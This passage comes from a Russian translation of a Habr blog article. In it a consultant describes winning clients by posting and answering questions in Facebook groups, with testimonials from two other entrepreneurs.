начинаю публиковать заметки и отвечать на вопросы в таких группах на Facebook? Иногда кто-то просто пишет мне в личку и рассказывает о том, что увидел мой пост, и ему захотелось узнать о моих услугах подробнее. В других случаях мне удается заинтересовать людей настолько, что они лайкают мою рабочую страницу и вступают в мое сообщество, где я уже могу предлагать им что-то более открыто. Как бы там ни было, результаты должны быть примерно такими. Как известно любому предпринимателю (и не только маркетологу), если вам не удается превратить заинтересованность в доход, то она ничего не стоит. Мое дело существует 16 месяцев. Начиная с 11-го месяца его жизни у меня нет «окон», не заполненных клиентами, уже внесшими аванс. В огромной степени этому способствует мое участие в сообществах на Facebook. И я не единственная, кто использует подобный подход для генерации лидов. Стратег онлайн-маркетинга Эмили Херш, чей бизнес в этом году принес ей 250 тыс. долларов, говорит, что 80% клиентов приходят к ней из тех многочисленных групп в соцсети, в которых она активно участвует. Но вам не нужно быть онлайн-предпринимателем, чтобы использовать мощь сообществ на Facebook. Они способны приносить пользу и различным независимым консультантам, в том числе и занимающим локальные ниши. Сертифицированный бизнес-тренер Стефани Мелиш, часто работающая с местными клиентами, рассказывает, что получила 2 клиентов, договор на цикл лекций и несколько предложений о деловом сотрудничестве благодаря участию в группе, предназначенной для женщин из Шарлотт (Северная Каролина). «Это позволило мне сформировать собственный авторитет на местном рынке и заручиться поддержкой надежных рефералов, — говорит Мелиш. — К примеру, один из клиентов пришел ко мне, увидев пост, в котором один из участников группы спрашивал о местных бизнес-тренерах, а другие упоминали меня в комментариях». Учитывая мои предыдущие бесплодные попытки генерации лидов с помощью LinkedIn, я очень сомневалась, что на Facebook результаты окажутся хоть немногим лучше. Меньше чем через год я с восторгом признаю, что ошибалась. P.S. Рекомендуем ещё одну полезную статью — Как оставаться продуктивным, когда все идет к чертям. Автор перевода — Давиденко Вячеслав, основатель компании TESTutor .
https://habrahabr.ru/company/testutor/blog/318080/